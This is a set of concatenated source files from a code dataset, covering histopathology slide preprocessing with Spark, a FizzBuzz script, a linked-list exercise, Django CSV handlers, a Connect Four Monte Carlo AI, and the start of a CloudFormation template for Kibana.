shape\n (tile_size, tile_size, channels).\n Note: This generator is not a true \"Python generator function\", but\n rather is an object that is capable of extracting individual tiles.\n \"\"\"\n generator = DeepZoomGenerator(slide, tile_size=tile_size, overlap=overlap, limit_bounds=True)\n return generator\n\n\n# Determine 20x Magnification Zoom Level\n\ndef get_20x_zoom_level(slide, generator):\n \"\"\"\n Return the zoom level that corresponds to a 20x magnification.\n \n The generator can extract tiles from multiple zoom levels,\n downsampling by a factor of 2 per level from highest to lowest\n resolution.\n \n Args:\n slide: An OpenSlide object representing a whole-slide image.\n generator: A DeepZoomGenerator object representing a tile generator.\n Note: This generator is not a true \"Python generator function\",\n but rather is an object that is capable of extracting individual\n tiles.\n \n Returns:\n Zoom level corresponding to a 20x magnification, or as close as\n possible.\n \"\"\"\n highest_zoom_level = generator.level_count - 1 # 0-based indexing\n try:\n mag = int(slide.properties[openslide.PROPERTY_NAME_OBJECTIVE_POWER])\n # `mag / 20` gives the downsampling factor between the slide's\n # magnification and the desired 20x magnification.\n # `(mag / 20) / 2` gives the zoom level offset from the highest\n # resolution level, based on a 2x downsampling factor in the\n # generator.\n offset = math.floor((mag / 20) / 2)\n level = highest_zoom_level - offset\n except ValueError:\n # In case the slide magnification level is unknown, just\n # use the highest resolution.\n level = highest_zoom_level\n return level\n\n\n# Generate Tile Indices For Whole-Slide Image.\n\ndef process_slide(slide_num, folder, training, tile_size, overlap):\n \"\"\"\n Generate all possible tile indices for a whole-slide image.\n \n Given a slide number, tile size, and overlap, generate\n all possible (slide_num, tile_size, overlap, zoom_level, col, row)\n indices.\n \n Args:\n slide_num: Slide image number as an integer.\n folder: Directory in which the slides folder is stored, as a string.\n This should contain either a `training_image_data` folder with\n images in the format `TUPAC-TR-###.svs`, or a `testing_image_data`\n folder with images in the format `TUPAC-TE-###.svs`.\n training: Boolean for training or testing datasets.\n tile_size: The width and height of a square tile to be generated.\n overlap: Number of pixels by which to overlap the tiles.\n \n Returns:\n A list of (slide_num, tile_size, overlap, zoom_level, col, row)\n integer index tuples representing possible tiles to extract.\n \"\"\"\n # Open slide.\n slide = open_slide(slide_num, folder, training)\n # Create tile generator.\n generator = create_tile_generator(slide, tile_size, overlap)\n # Get 20x zoom level.\n zoom_level = get_20x_zoom_level(slide, generator)\n # Generate all possible (zoom_level, col, row) tile index tuples.\n cols, rows = generator.level_tiles[zoom_level]\n tile_indices = [(slide_num, tile_size, overlap, zoom_level, col, row)\n for col in range(cols) for row in range(rows)]\n return tile_indices\n\n\n# Generate Tile From Tile Index\n\ndef process_tile_index(tile_index, folder, training):\n \"\"\"\n Generate a tile from a tile index.\n \n Given a (slide_num, tile_size, overlap, zoom_level, col, row) tile\n index, generate a (slide_num, tile) tuple.\n \n Args:\n tile_index: A (slide_num, tile_size, overlap, zoom_level, col, row)\n integer index tuple representing a tile to extract.\n folder: Directory in which the slides folder is stored, as a string.\n This should contain either a `training_image_data` folder with\n images in the format `TUPAC-TR-###.svs`, or a `testing_image_data`\n folder with images in the format `TUPAC-TE-###.svs`.\n training: Boolean for training or testing datasets.\n \n Returns:\n A (slide_num, tile) tuple, where slide_num is an integer, and tile\n is a 3D NumPy array of shape (tile_size, tile_size, channels) in\n RGB format.\n \"\"\"\n slide_num, tile_size, overlap, zoom_level, col, row = tile_index\n # Open slide.\n slide = open_slide(slide_num, folder, training)\n # Create tile generator.\n generator = create_tile_generator(slide, tile_size, overlap)\n # Generate tile.\n tile = np.array(generator.get_tile(zoom_level, (col, row)))\n return (slide_num, tile)\n\n\n# Filter Tile For Dimensions & Tissue Threshold\n\ndef optical_density(tile):\n \"\"\"\n Convert a tile to optical density values.\n \n Args:\n tile: A 3D NumPy array of shape (tile_size, tile_size, channels).\n \n Returns:\n A 3D NumPy array of shape (tile_size, tile_size, channels)\n representing optical density values.\n \"\"\"\n tile = tile.astype(np.float64)\n #od = -np.log10(tile/255 + 1e-8)\n od = -np.log((tile+1)/240)\n return od\n\n\ndef keep_tile(tile_tuple, tile_size, tissue_threshold):\n \"\"\"\n Determine if a tile should be kept.\n \n This filters out tiles based on size and a tissue percentage\n threshold, using a custom algorithm. If a tile has height &\n width equal to (tile_size, tile_size), and contains greater\n than or equal to the given percentage, then it will be kept;\n otherwise it will be filtered out.\n \n Args:\n tile_tuple: A (slide_num, tile) tuple, where slide_num is an\n integer, and tile is a 3D NumPy array of shape \n (tile_size, tile_size, channels) in RGB format.\n tile_size: The width and height of a square tile to be generated.\n tissue_threshold: Tissue percentage threshold.\n \n Returns:\n A Boolean indicating whether or not a tile should be kept for\n future usage.\n \"\"\"\n slide_num, tile = tile_tuple\n if tile.shape[0:2] == (tile_size, tile_size):\n tile_orig = tile\n \n # Check 1\n # Convert 3D RGB image to 2D grayscale image, from\n # 0 (dense tissue) to 1 (plain background).\n tile = rgb2gray(tile)\n # 8-bit depth complement, from 1 (dense tissue)\n # to 0 (plain background).\n tile = 1 - tile\n # Canny edge detection with hysteresis thresholding.\n # This returns a binary map of edges, with 1 equal to\n # an edge. The idea is that tissue would be full of\n # edges, while background would not.\n tile = canny(tile)\n # Binary closing, which is a dilation followed by\n # an erosion. This removes small dark spots, which\n # helps remove noise in the background.\n tile = binary_closing(tile, disk(10))\n # Binary dilation, which enlarges bright areas,\n # and shrinks dark areas. This helps fill in holes\n # within regions of tissue.\n tile = binary_dilation(tile, disk(10))\n # Fill remaining holes within regions of tissue.\n tile = binary_fill_holes(tile)\n # Calculate percentage of tissue coverage.\n percentage = tile.mean()\n check1 = percentage >= tissue_threshold\n \n # Check 2\n # Convert to optical density values\n tile = optical_density(tile_orig)\n # Threshold at beta\n beta = 0.15\n tile = np.min(tile, axis=2) >= beta\n # Apply morphology for same reasons as above.\n tile = binary_closing(tile, disk(2))\n tile = binary_dilation(tile, disk(2))\n tile = binary_fill_holes(tile)\n percentage = tile.mean()\n check2 = percentage >= tissue_threshold\n \n return check1 and check2\n else:\n return False\n\n\n# Generate Flattened Samples From Tile\n\ndef process_tile(tile_tuple, sample_size, grayscale):\n \"\"\"\n Process a tile into a group of smaller samples.\n \n Cut up a tile into smaller blocks of sample_size x sample_size pixels,\n change the shape of each sample from (H, W, channels) to \n (channels, H, W), then flatten each into a vector of length\n channels*H*W.\n \n Args:\n tile_tuple: A (slide_num, tile) tuple, where slide_num is an\n integer, and tile is a 3D NumPy array of shape \n (tile_size, tile_size, channels).\n sample_size: The new width and height of the square samples to be\n generated.\n grayscale: Whether or not to generate grayscale samples, rather\n than RGB.\n \n Returns:\n A list of (slide_num, sample) tuples representing cut up tiles,\n where each sample has been transposed from\n (sample_size_x, sample_size_y, channels) to\n (channels, sample_size_x, sample_size_y),\n and flattened to a vector of length\n (channels*sample_size_x*sample_size_y).\n \"\"\"\n slide_num, tile = tile_tuple\n if grayscale:\n tile = rgb2gray(tile)[:, :, np.newaxis] # Grayscale\n # Save disk space and future IO time by converting from [0,1] to [0,255],\n # at the expense of some minor loss of information.\n tile = np.round(tile * 255).astype(\"uint8\")\n x, y, ch = tile.shape\n # 1. Reshape into a 5D array of (num_x, sample_size_x, num_y, sample_size_y, ch), where\n # num_x and num_y are the number of chopped tiles on the x and y axes, respectively.\n # 2. Swap sample_size_x and num_y axes to create\n # (num_x, num_y, sample_size_x, sample_size_y, ch).\n # 3. Combine num_x and num_y into single axis, returning\n # (num_samples, sample_size_x, sample_size_y, ch).\n # 4. Swap axes from (num_samples, sample_size_x, sample_size_y, ch) to\n # (num_samples, ch, sample_size_x, sample_size_y).\n # 5. Flatten samples into (num_samples, ch*sample_size_x*sample_size_y).\n samples = (tile.reshape((x // sample_size, sample_size, y // sample_size, sample_size, ch))\n .swapaxes(1,2)\n .reshape((-1, sample_size, sample_size, ch))\n .transpose(0,3,1,2))\n samples = samples.reshape(samples.shape[0], -1)\n samples = [(slide_num, sample) for sample in list(samples)]\n return samples\n\n\n# Get Ground Truth Labels\n\ndef get_labels_df(folder):\n \"\"\"\n Create a DataFrame with the ground truth labels for each slide.\n \n Args:\n folder: Directory containing a `training_ground_truth.csv` file\n containing the ground truth \"tumor_score\" and \"molecular_score\"\n labels for each slide.\n\n Returns:\n A Pandas DataFrame containing the ground truth labels for each\n slide.\n \"\"\"\n filepath = os.path.join(folder, \"training_ground_truth.csv\")\n labels_df = pd.read_csv(filepath, names=[\"tumor_score\", \"molecular_score\"], header=None)\n labels_df[\"slide_num\"] = labels_df.index + 1 # slide numbering starts at 1\n labels_df.set_index(\"slide_num\", drop=False, inplace=True) # use the slide num as index\n return labels_df\n\n\n# Process All Slides Into A Spark DataFrame\n\ndef preprocess(spark, slide_nums, folder=\"data\", training=True, tile_size=1024, overlap=0,\n tissue_threshold=0.9, sample_size=256, grayscale=False, num_partitions=20000):\n \"\"\"\n Preprocess a set of whole-slide images.\n \n Preprocess a set of whole-slide images as follows:\n 1. Tile the slides into tiles of size (tile_size, tile_size, 3).\n 2. Filter the tiles to remove unnecessary tissue.\n 3. Cut the remaining tiles into samples of size\n (sample_size, sample_size, ch), where `ch` is 1 if `grayscale`\n is true, or 3 otherwise.\n \n Args:\n spark: SparkSession.\n slide_nums: List of whole-slide numbers to process.\n folder: Local directory in which the slides folder and ground truth\n file is stored, as a string. This should contain a\n `training_image_data` folder with images in the format\n `TUPAC-TR-###.svs`, as well as a `training_ground_truth.csv` file\n containing the ground truth \"tumor_score\" and \"molecular_score\"\n labels for each slide. Alternatively, the folder should contain a\n `testing_image_data` folder with images in the format\n `TUPAC-TE-###.svs`.\n training: Boolean for training or testing datasets.\n tile_size: The width and height of a square tile to be generated.\n overlap: Number of pixels by which to overlap the tiles.\n tissue_threshold: Tissue percentage threshold for filtering.\n sample_size: The new width and height of the square samples to be\n generated.\n grayscale: Whether or not to generate grayscale samples, rather\n than RGB.\n num_partitions: Number of partitions to use during processing.\n \n Returns:\n A Spark DataFrame in which each row contains the slide number, tumor\n score, molecular score, and the sample stretched out into a Vector.\n \"\"\"\n slides = spark.sparkContext.parallelize(slide_nums)\n # Create DataFrame of all tile locations and increase number of partitions\n # to avoid OOM during subsequent processing.\n tile_indices = (slides.flatMap(\n lambda slide: process_slide(slide, folder, training, tile_size, overlap)))\n # TODO: Explore computing the ideal paritition sizes based on projected number\n # of tiles after filtering. I.e. something like the following:\n #rows = tile_indices.count()\n #part_size = 128\n #channels = 1 if grayscale else 3\n #row_mb = tile_size * tile_size * channels * 8 / 1024 / 1024 # size of one row in MB\n #rows_per_part = round(part_size / row_mb)\n #num_parts = rows / rows_per_part\n ## HACK: Force even partitioning by collecting and parallelizing -- for memory issues.\n ## Note: This was a PySpark bug with a fix in the master branch now.\n #tile_indices = tile_indices.collect()\n #tile_indices = sc.parallelize(tile_indices, num_partitions)\n ## END HACK\n tile_indices = tile_indices.repartition(num_partitions)\n tile_indices.cache()\n # Extract all tiles into a DataFrame, filter, and cut into smaller samples.\n tiles = tile_indices.map(lambda tile_index: process_tile_index(tile_index, folder, training))\n filtered_tiles = tiles.filter(lambda tile: keep_tile(tile, tile_size, tissue_threshold))\n samples = filtered_tiles.flatMap(lambda tile: process_tile(tile, sample_size, grayscale))\n if training:\n # Append labels\n labels_df = get_labels_df(folder)\n samples_with_labels = (samples.map(\n lambda tup: (tup[0], int(labels_df.at[tup[0],\"tumor_score\"]),\n float(labels_df.at[tup[0],\"molecular_score\"]), Vectors.dense(tup[1]))))\n df = samples_with_labels.toDF([\"slide_num\", \"tumor_score\", \"molecular_score\", \"sample\"])\n df = df.select(df.slide_num.astype(\"int\"), df.tumor_score.astype(\"int\"),\n df.molecular_score, df[\"sample\"])\n else: # testing data -- no labels\n df = samples.toDF([\"slide_num\", \"sample\"])\n df = df.select(df.slide_num.astype(\"int\"), df[\"sample\"])\n #df = df.repartition(num_partitions) # HACK: Even out the partitions to avoid saving issues\n return df\n\n\n# Split Into Separate Train & Validation DataFrames Based On Slide Number\n\ndef train_val_split(spark, df, slide_nums, folder, train_frac=0.8, add_row_indices=True, seed=None,\n debug=False):\n \"\"\"\n Split a DataFrame of slide samples into training and validation sets.\n \n Args:\n spark: SparkSession.\n df: A Spark DataFrame in which each row contains the slide number,\n tumor score, molecular score, and the sample stretched out into\n a Vector.\n slide_nums: A list of slide numbers to sample from.\n folder: Directory containing a `training_ground_truth.csv` file\n containing the ground truth \"tumor_score\" and \"molecular_score\"\n labels for each slide.\n train_frac: Fraction of the data to assign to the training set, with\n `1-frac` assigned to the valiation set.\n add_row_indices: Boolean for whether or not to prepend an index\n column contain the row index for use downstream by SystemML.\n The column name will be \"__INDEX\".\n \n Returns:\n A Spark DataFrame in which each row contains the slide number, tumor\n score, molecular score, and the sample stretched out into a Vector.\n \"\"\"\n # Create DataFrame of labels for the given slide numbers.\n labels_df = get_labels_df(folder)\n labels_df = labels_df.loc[slide_nums]\n \n # Randomly split slides 80%/20% into train and validation sets.\n train_nums_df = labels_df.sample(frac=train_frac, random_state=seed)\n val_nums_df = labels_df.drop(train_nums_df.index)\n\n train_nums = (spark.createDataFrame(train_nums_df)\n .selectExpr(\"cast(slide_num as int)\")\n .coalesce(1))\n val_nums = (spark.createDataFrame(val_nums_df)\n .selectExpr(\"cast(slide_num as int)\")\n .coalesce(1))\n\n # Note: Explicitly mark the smaller DataFrames as able to be broadcasted\n # in order to have Catalyst choose the more efficient BroadcastHashJoin, \n # rather than the costly SortMergeJoin.\n train = df.join(F.broadcast(train_nums), on=\"slide_num\")\n val = df.join(F.broadcast(val_nums), on=\"slide_num\")\n \n if debug:\n # DEBUG: Sanity checks.\n assert len(pd.merge(train_nums_df, val_nums_df, on=\"slide_num\")) == 0\n assert train_nums.join(val_nums, on=\"slide_num\").count() == 0\n assert train.join(val, on=\"slide_num\").count() == 0\n # - Check distributions.\n for pdf in train_nums_df, val_nums_df:\n print(pdf.count())\n print(pdf[\"tumor_score\"].value_counts(sort=False))\n print(pdf[\"tumor_score\"].value_counts(normalize=True, sort=False), \"\\n\")\n # - Check total number of examples in each.\n print(train.count(), val.count())\n # - Check physical plans for broadcast join.\n print(train.explain(), val.explain())\n \n # Add row indices for use with SystemML.\n if add_row_indices:\n train = (train.rdd\n .zipWithIndex()\n .map(lambda r: (r[1] + 1, *r[0])) # flatten & convert index to 1-based indexing\n .toDF(['__INDEX', 'slide_num', 'tumor_score', 'molecular_score', 'sample']))\n train = train.select(train[\"__INDEX\"].astype(\"int\"), train.slide_num.astype(\"int\"), \n train.tumor_score.astype(\"int\"), train.molecular_score, train[\"sample\"])\n\n val = (val.rdd\n .zipWithIndex()\n .map(lambda r: (r[1] + 1, *r[0])) # flatten & convert index to 1-based indexing\n .toDF(['__INDEX', 'slide_num', 'tumor_score', 'molecular_score', 'sample']))\n val = val.select(val[\"__INDEX\"].astype(\"int\"), val.slide_num.astype(\"int\"),\n val.tumor_score.astype(\"int\"), val.molecular_score, val[\"sample\"])\n\n return train, val\n\n\n# Save DataFrame\n\ndef save(df, filepath, sample_size, grayscale, mode=\"error\", format=\"parquet\", file_size=128):\n \"\"\"\n Save a preprocessed DataFrame with a constraint on the file sizes.\n \n Args:\n df: A Spark DataFrame.\n filepath: Hadoop-supported path at which to save `df`.\n sample_size: The width and height of the square samples.\n grayscale: Whether or not to the samples are in grayscale format,\n rather than RGB.\n mode: Specifies the behavior of `df.write.mode` when the data\n already exists. Options include:\n * `append`: Append contents of this DataFrame to\n existing data.\n * `overwrite`: Overwrite existing data.\n * `error`: Throw an exception if data already exists.\n * `ignore`: Silently ignore this operation if data already\n exists.\n format: The format in which to save the DataFrame.\n file_size: Size in MB of each saved file. 128 MB is an\n empirically ideal size.\n \"\"\"\n channels = 1 if grayscale else 3\n row_mb = sample_size * sample_size * channels * 8 / 1024 / 1024 # size of one row in MB\n rows_per_file = round(file_size / row_mb)\n df.write.option(\"maxRecordsPerFile\", rows_per_file).mode(mode).save(filepath, format=format)\n\n","sub_path":"projects/breast_cancer/breastcancer/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":22265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"208825131","text":"\r\nn = int(input(\"Select first number of range: \"))\r\nn2 = int(input(\"Select second number of range: \"))\r\nr = range(n,n2)\r\n\r\ndef FizzBuzz():\r\n\tfor a in r: \r\n\t\tif a%5 == 0 and a%3==0: \r\n\t\t\tprint (\"FizzBuzz\")\r\n\t\telif a%3 == 0: \r\n\t\t\tprint (\"Buzz\")\r\n\t\telif a%5 == 0: \r\n\t\t print (\"Fizz\")\r\n\t\telse: \r\n\t\t print(a)\r\n\r\nFizzBuzz()\r\n","sub_path":"FizzBuzz.py","file_name":"FizzBuzz.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"391812353","text":"# Definition for singly-linked list.\r\nclass ListNode:\r\n def __init__(self, val=0, next=None):\r\n self.val = val\r\n self.next = next\r\n\r\n\r\nclass Solution:\r\n def reorderList(self, head: ListNode) -> None:\r\n \"\"\"\r\n Do not return anything, modify head in-place instead.\r\n \"\"\"\r\n # q = deque()\r\n\r\n # dummy = ListNode(0)\r\n # dummy.next = head\r\n\r\n # cnode = dummy.next\r\n\r\n # while cnode:\r\n # q.append(cnode)\r\n # cnode = cnode.next\r\n\r\n # # we got our queue\r\n\r\n # cur = dummy\r\n # even = False\r\n # while q:\r\n # node = q.pop() if even else q.popleft()\r\n # node.next = None\r\n # # we got the popped node\r\n # cur.next = node\r\n # cur = cur.next\r\n # if even:\r\n # even = False\r\n # else:\r\n # even = True\r\n # return head\r\n\r\n # divide the list and find the middle node\r\n slow = head\r\n fast = head\r\n while fast and fast.next:\r\n fast = fast.next.next\r\n slow = slow.next\r\n\r\n # middle node is at slow\r\n\r\n # now reversing the second half of the list\r\n prev_node = None\r\n while slow.next:\r\n next_node = slow.next\r\n slow.next = prev_node\r\n prev_node = slow\r\n slow = next_node\r\n\r\n # our prev_node is the first node of the reverse list\r\n\r\n dummy = ListNode(0)\r\n very_first = dummy.next\r\n\r\n first = head\r\n second = prev_node\r\n\r\n while first and second:\r\n dummy.next = ListNode(first.val)\r\n dummy = dummy.next\r\n dummy.next = ListNode(second.val)\r\n dummy = dummy.next\r\n first = first.next\r\n second = second.next\r\n\r\n while first:\r\n dummy.next = ListNode(first.val)\r\n first = first.next\r\n\r\n while second:\r\n dummy.next = ListNode(second.val)\r\n second = second.next\r\n\r\n return very_first","sub_path":"Pattern-matching/3 Fast slow pointers/reorder_list.py","file_name":"reorder_list.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"46868218","text":"import re, csv\nfrom django.http import HttpResponse\nfrom fundraising.models import *\n\ndef download_csv(model):\n response = HttpResponse(content_type='text/csv')\n table_name = re.sub('\\s+', '_', str(model.table)).lower()\n attachment = 'attachment; filename=' + table_name + '.csv'\n response['Content-Disposition'] = attachment\n\n header = Table.objects.get(table=model)\n\n fields = ['name', 'url', 'aid_amount', 'extra_field_1', 'extra_field_2', 'extra_field_3', \n 'extra_field_4', 'extra_field_5', 'extra_field_6', 'extra_field_7']\n\n # List of fields that are enable\n enabled_headers = []\n\n for f in fields:\n if getattr(header, f) != None and getattr(header, f) != False and getattr(header, f) != '' and getattr(header, f) != ' ':\n enabled_headers.append(f)\n\n data = TableData.objects.filter(table=model)\n\n writer = csv.writer(response)\n writer.writerow(enabled_headers)\n\n for row in data:\n dat = []\n for h in enabled_headers:\n try:\n # Have to check if it is a string or decimal first because you cannot encode decimal\n if h != 'aid_amount':\n fi = getattr(row, h).encode('utf-8')\n else:\n fi = getattr(row, h)\n\n dat.append(fi)\n except:\n pass\n\n writer.writerow(dat)\n\n return response\n\n\ndef handle_csv_gofundme(f):\n file = f\n data = [row for row in csv.reader(file.read().splitlines())]\n rownum = 0\n\n for row in data:\n if rownum != 0:\n ob = GoFundMe.objects.filter(campaign=row[1])\n v = ob.values()\n if (not ob.exists()) or (ob.exists() and int(v[0]['donors_number']) != int(row[5])):\n go = int(re.sub('[^\\d^\\.]', '', row[3]))\n tot = int(re.sub('[^\\d^\\.]', '', row[4]))\n obj, created = GoFundMe.objects.update_or_create(campaign=row[1], \\\n defaults={'url': row[0], \\\n 'campaign': row[1], \\\n 'location': row[2], \\\n 'goal': go, \\\n 'total': tot, \\\n 'donors_number': int(row[5]), \\\n 'created_by': row[6], \\\n 'date_created': row[7], \\\n 'date_closed': row[8]})\n\n rownum += 1\n\n\n# Handle CSV uploads for generic tables\ndef handle_csv(f, model):\n file = f\n data = [row for row in csv.reader(file.read().splitlines())]\n\n header = Table.objects.get(table=model)\n\n # This is the index of the fields in the CSV file\n fields = {\n 'name': 0,\n 'url': 1,\n 'aid_amount': 2,\n 'extra_field_1': 3,\n 'extra_field_2': 4,\n 'extra_field_3': 5,\n 'extra_field_4': 6,\n 'extra_field_5': 7,\n 'extra_field_6': 8,\n 'extra_field_7': 9\n }\n\n size = len(fields)\n index = range(0, size)\n\n # This will handle when there are fields that are disable\n for key, value in fields.items():\n if getattr(header, key) == None or getattr(header, key) == False or getattr(header, key) == '' or getattr(header, key) == ' ':\n index[value] = 50\n for i in range(value+1, size):\n index[i] -= 1\n\n rownum = 0\n row_values = [''] * size\n for row in data:\n if rownum != 0:\n for i in range(0, size):\n if i != 2:\n try:\n row_values[i] = row[index[i]]\n except:\n row_values[i] = ''\n else:\n try:\n if type(row[index[i]]) == str:\n row_values[i] = float(re.sub('[^\\d^\\.]', '', row[index[i]]))\n else:\n row_values[i] = float(row[index[i]])\n except:\n row_values[i] = 0\n\n ob = TableData.objects.filter(name=row_values[0], url=row_values[1], table=model)\n v = ob.values()\n\n if (not ob.exists()) or (ob.exists() and int(v[0]['aid_amount']) != row_values[2]):\n obj, created = TableData.objects.update_or_create(name=row_values[0], url=row_values[1], table=model, \\\n defaults={'name': row_values[0], \\\n 'url': row_values[1], \\\n 'aid_amount': row_values[2], \\\n 'extra_field_1': row_values[3], \\\n 'extra_field_2': row_values[4], \\\n 'extra_field_3': row_values[5], \\\n 'extra_field_4': row_values[6], \\\n 'extra_field_5': row_values[7], \\\n 'extra_field_6': row_values[8], \\\n 'extra_field_7': row_values[9], \\\n 'table': model})\n rownum += 1 \n\n\n# This handles the CSV with the right format with empty columns where there is no field. Old\ndef handle_formatted_csv_upload(f, model):\n file = f\n data = [row for row in csv.reader(file.read().splitlines())]\n rownum = 0\n \n for row in data:\n if rownum != 0:\n try:\n name = row[0]\n except:\n name = ''\n\n try:\n url = row[1]\n except:\n url = ''\n\n try:\n tot = int(re.sub('[^\\d^\\.]', '', row[2]))\n aid_amount = tot\n except:\n aid_amount = 0\n\n try:\n extra_field_1 = row[3]\n except:\n extra_field_1 = ''\n\n try:\n extra_field_2 = row[4]\n except:\n extra_field_2 = ''\n\n try:\n extra_field_3 = row[5]\n except:\n extra_field_3 = ''\n\n try:\n extra_field_4 = row[6]\n except:\n extra_field_4 = ''\n\n try:\n extra_field_5 = row[7]\n except:\n extra_field_5 = ''\n\n ob = TableData.objects.filter(name=row[0], table=model)\n v = ob.values()\n\n if (not ob.exists()) or (ob.exists() and int(v[0]['aid_amount']) != aid_amount):\n obj, created = TableData.objects.update_or_create(name=name, table=model, \\\n defaults={'name': name, \\\n 'url': url, \\\n 'aid_amount': aid_amount, \\\n 'extra_field_1': extra_field_1, \\\n 'extra_field_2': extra_field_2, \\\n 'extra_field_3': extra_field_3, \\\n 'extra_field_4': extra_field_4, \\\n 'extra_field_5': extra_field_5, \\\n 'table': model})\n rownum += 1\n\n\n# def handle_csv_corporate(f):\n# file = f\n# data = [row for row in csv.reader(file.read().splitlines())]\n# rownum = 0\n\n# for row in data:\n# if rownum != 0:\n# ob = Corporate.objects.filter(organization=row[1])\n# v = ob.values()\n# tot = int(re.sub('[^\\d^\\.]', '', row[2]))\n# if (not ob.exists()) or (ob.exists() and int(v[0]['aid_amount']) != tot):\n# obj, created = Corporate.objects.update_or_create(organization=row[1], \\\n# defaults={'organization': row[1], \\\n# 'aid_amount': tot})\n# rownum += 1","sub_path":"nepalfund/nepalfund/handle_csv.py","file_name":"handle_csv.py","file_ext":"py","file_size_in_byte":7495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"126201120","text":"from controller import Controller\nfrom interaction import Interaction\n\n'''\n to create a series of measurements for 0%, 5%, ..., 95%\n to make a new model\n'''\n\ninteraction = Interaction()\ncontroller = Controller([0])\n\ncontroller.open_trigger_gate() # alternative to controller.roll(0)\nfor p in range(5, 100, 5):\n # displays next number and waits for confirmation\n # xx% -> 0.xx\n p = interaction.get_number(1, 95, default=p)/100\n controller.roll(p)","sub_path":"messen.py","file_name":"messen.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"456758410","text":"from controller.AI_Game import AI_Game\n\nfrom model.AI.AI_Rand_Up import AI_Rand_Up\nfrom model.players.AI_Player import AI_Player\n\n\ndef monte_carlo_worker(board, piece, numberOfSimulations):\n\tadversaryWin = 0\n\tourWin = 0\n\tdraw = 0\n\t# On simule numberOfSimulations games aléatoires\n\tfor i in range(numberOfSimulations):\n\t\t# Board\n\t\tbCopy = board.copy()\n\n\t\t# P1 : l'adversaire\n\t\toracle = AI_Rand_Up(bCopy, 2 - piece + 1)\n\t\tplayer1 = AI_Player(\"Player 1\", oracle.board, oracle.piece, oracle)\n\n\t\t# P2 : nous\n\t\toracle = AI_Rand_Up(bCopy, piece)\n\t\tplayer2 = AI_Player(\"Player 2\", oracle.board, oracle.piece, oracle)\n\n\t\tgame = AI_Game(bCopy, player1, player2)\n\t\tres = game.run()\n\t\tif res == 0:\n\t\t\tadversaryWin += 1\n\t\telif res == 1:\n\t\t\tourWin += 1\n\t\telse:\n\t\t\tdraw += 1\n\t# On retourne les stats avec une heuristique\n\treturn 3*ourWin+1*draw\n\n\nclass AI_MonteCarlo_Rand_Up:\n\n\tdef __init__(self, board, piece, numberOfSimulations):\n\t\tself.board = board\n\t\tself.piece = piece\n\t\tself.numberOfSimulations = numberOfSimulations\n\n\tdef get_play(self):\n\n\t\t# S'il ne reste qu'une colonne dans laquelle jouer on joue dedans\n\t\tif self.board.validLocationsLength == 1:\n\t\t\treturn self.board.validLocations[0]\n\t\telse:\n\t\t\t# S'il y a un coup obligatoire (gagnant ou empechant la défaite) on le joue\n\t\t\tmandatory = self.board.get_mandatory_play(self.piece)\n\t\t\tif mandatory is not None:\n\t\t\t\treturn mandatory\n\t\t\telse:\n\t\t\t\tvalidsNotLosing = self.board.get_not_losing_play(self.piece)\n\t\t\t\t# S'il existe des coups non perdant on cherche le meilleur\n\t\t\t\tif len(validsNotLosing) > 0:\n\n\t\t\t\t\tbestCol = validsNotLosing.pop()\n\t\t\t\t\t# On copie le board\n\t\t\t\t\tbCopy = self.board.copy()\n\t\t\t\t\t# On joue dans la colonne sans check la victoire\n\t\t\t\t\tbCopy.drop_piece(bestCol, self.piece)\n\t\t\t\t\t# On calcul son score\n\t\t\t\t\tbestScore = monte_carlo_worker(bCopy, self.piece, self.numberOfSimulations)\n\t\t\t\t\tfor col in validsNotLosing:\n\t\t\t\t\t\t# On copie le board\n\t\t\t\t\t\tbCopy = self.board.copy()\n\t\t\t\t\t\t# On joue dans la colonne sans check la victoire\n\t\t\t\t\t\tbCopy.drop_piece(col, self.piece)\n\t\t\t\t\t\t# On calcul son score\n\t\t\t\t\t\tres = monte_carlo_worker(bCopy, self.piece, self.numberOfSimulations)\n\t\t\t\t\t\t# S'il est meilleur on prend col comme nouvelle meilleure colonne\n\t\t\t\t\t\tbestScore = max(bestScore, res)\n\t\t\t\t\t\tif bestScore == res:\n\t\t\t\t\t\t\tbestCol = col\n\t\t\t\t\treturn bestCol\n\n\t\t\t\telse:\n\t\t\t\t\t# Sinon on renvoit un play perdant\n\t\t\t\t\treturn self.board.validLocations[0]\n","sub_path":"src/model/AI/AI_MonteCarlo_Rand_Up.py","file_name":"AI_MonteCarlo_Rand_Up.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"116278031","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nfrom troposphere import Base64, Join, GetAtt\nfrom troposphere import Parameter, Ref, Template\nfrom troposphere import ec2, iam\nfrom troposphere.autoscaling import AutoScalingGroup, Tag\nfrom troposphere.autoscaling import LaunchConfiguration\nfrom troposphere.route53 import RecordSet, RecordSetGroup, AliasTarget\nimport troposphere.elasticloadbalancing as elb\n\n\ntempl = Template()\n\ntempl.add_description('Kibana cloudformation template')\n\ninstance_type = templ.add_parameter(Parameter(\n 'InstanceType',\n Type='String',\n Description='Instande type for instances',\n Default='m3.medium'\n))\n\nkey_name = templ.add_parameter(Parameter(\n 'KeyName',\n Type='AWS::EC2::KeyPair::KeyName',\n Description='Name of an existing EC2 KeyPair to enable SSH access',\n))\n\ncluster_name = templ.add_parameter(Parameter(\n 'ClusterName',\n Type='String',\n Description='Name for the Elasticserach cluster',\n Default='elasticsearch-cluster'\n))\n\nes_endpoint = templ.add_parameter(Parameter(\n 'ESEndPoint',\n Type='String',\n Description='Elasticserach cluster endpoint to connect',\n))\n\nami_id = templ.add_parameter(Parameter(\n 'AmiId',\n Type='AWS::EC2::Image::Id',\n Description='AMI used to launch instances'\n))\n\nsubnets = templ.add_parameter(Parameter(\n 'Subnets',\n Type='List',\n Description='VPC subnets IDs list for the cluster instances',\n))\n\nkb_instance_sgs = templ.add_parameter(Parameter(\n 'KBInstanceSecurityGroups',\n Type='List',\n Description='SecurityGroup for 